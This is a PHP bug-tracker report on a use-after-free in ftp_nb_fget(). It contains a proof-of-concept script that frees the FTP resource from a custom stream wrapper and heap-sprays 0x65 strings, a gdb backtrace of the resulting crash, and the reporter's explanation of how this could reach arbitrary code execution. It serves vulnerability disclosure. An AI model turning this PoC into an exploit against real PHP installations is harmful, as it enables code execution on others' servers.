Bug #66174 [Opn]: Interruption vulnerability in ftp_nb_fget()

Edit report at https://bugs.php.net/bug.php?id=66174&edit=1 ID: 66174 Updated by: kalle@php.net Reported by: kuba dot brecka at gmail dot com Summary: Interruption vulnerability in ftp_nb_fget() Status: Open Type: Bug Package: FTP related Operating System: all PHP Version: master-Git-2013-11-26 (Git) Block user comment: N Private report: Y New Comment: @Joe, remember to untick the 'Private report' checkbox so its visible for non sec devs :) Previous Comments: ------------------------------------------------------------------------ [2016-11-18 14:28:01] krakjoe@php.net This bug does not meet the criteria to be considered a security issue. Please review: https://wiki.php.net/security ------------------------------------------------------------------------ [2013-11-26 12:59:31] kuba dot brecka at gmail dot com Description: ------------ The ftp_nb_fget() function can write data into an open stream, by implementing a custom PHP stream (e.g. via stream_wrapper_register), the process of ftp_nb_fget can be easily interrupted and custom PHP code can be executed. At this point, we can free the associated resource object, which will cause a memory corruption. The attached POC uses an interruption in stream_write, which will free the FTP resource and create additional string objects, which contain the value 0x65 repeated. The process then crashes and the backtrace shows that the value 0x65656565 is used as a pointer to a stream resource. Because the attacker controls this value, she can modify it to be a valid pointer to a specially crafted string/object. Moreover, the stream structure contains pointers to its methods (read/write/flush/...), which means that the attacker can achieve arbitrary code execution by setting these pointers to valid code. Test script: --------------- <?php class MyStream { function stream_open($path, $mode, $options, &$opened_path) { return true; } function stream_write($data) { global $ftp; ftp_close($ftp); for ($i = 0; $i < 4000; $i++) $GLOBALS['fakestreamobj' . $i] = str_repeat(chr(0x65), 8500); return strlen($data); } } stream_wrapper_register("MyProtocol", "MyStream"); $ftp = ftp_connect("ftp.kernel.org"); ftp_login($ftp, "anonymous", "hello@world"); ftp_pasv($ftp, true); $stream = fopen("MyProtocol://nothing", "w+"); ftp_nb_fget($ftp, $stream, "pub/site/README", FTP_ASCII); Actual result: -------------- Program received signal SIGSEGV, Segmentation fault. 0x083712d2 in _php_stream_write (stream=0x65656565, buf=0xbfffb70f "e\220\006\a", count=1) at /home/kuba/php/php-src/main/streams/streams.c:1233 1233 if (buf == NULL || count == 0 || stream->ops->write == NULL) { (gdb) bt #0 0x083712d2 in _php_stream_write (stream=0x65656565, buf=0xbfffb70f "e\220\006\a", count=1) at /home/kuba/php/php-src/main/streams/streams.c:1233 #1 0x08370757 in _php_stream_putc (stream=0x65656565, c=101) at /home/kuba/php/php-src/main/streams/streams.c:790 #2 0x081d4755 in ftp_nb_continue_read (ftp=0xb7c30690) at /home/kuba/php/php-src/ext/ftp/ftp.c:1793 #3 0x081d461f in ftp_nb_get (ftp=0xb7c30690, outstream=0xb7c2e5f0, path=0xb7b23c6c "pub/site/README", type=FTPTYPE_ASCII, resumepos=0) at /home/kuba/php/php-src/ext/ftp/ftp.c:1753 #4 0x081cf8e9 in zif_ftp_nb_fget (ht=4, return_value=0xb7c302dc, return_value_ptr=0xb7c1110c, this_ptr=0x0, return_value_used=0) at /home/kuba/php/php-src/ext/ftp/php_ftp.c:817 #5 0x0840cc4a in zend_do_fcall_common_helper_SPEC (execute_data=0xb7c11198) at /home/kuba/php/php-src/Zend/zend_vm_execute.h:554 #6 0x08410aef in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb7c11198) at /home/kuba/php/php-src/Zend/zend_vm_execute.h:2364 #7 0x0840c511 in execute_ex (execute_data=0xb7c11198) at /home/kuba/php/php-src/Zend/zend_vm_execute.h:363 #8 0x0840c575 in zend_execute (op_array=0xb7c2ded8) at /home/kuba/php/php-src/Zend/zend_vm_execute.h:388 #9 0x083d4d26 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/kuba/php/php-src/Zend/zend.c:1334 #10 0x08357ddb in php_execute_script (primary_file=0xbfffdc14) at /home/kuba/php/php-src/main/main.c:2490 #11 0x0846fab4 in do_cli (argc=2, argv=0x88be1e0) at /home/kuba/php/php-src/sapi/cli/php_cli.c:994 #12 0x08470b0f in main (argc=2, argv=0x88be1e0) at /home/kuba/php/php-src/sapi/cli/php_cli.c:1378 ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=66174&edit=1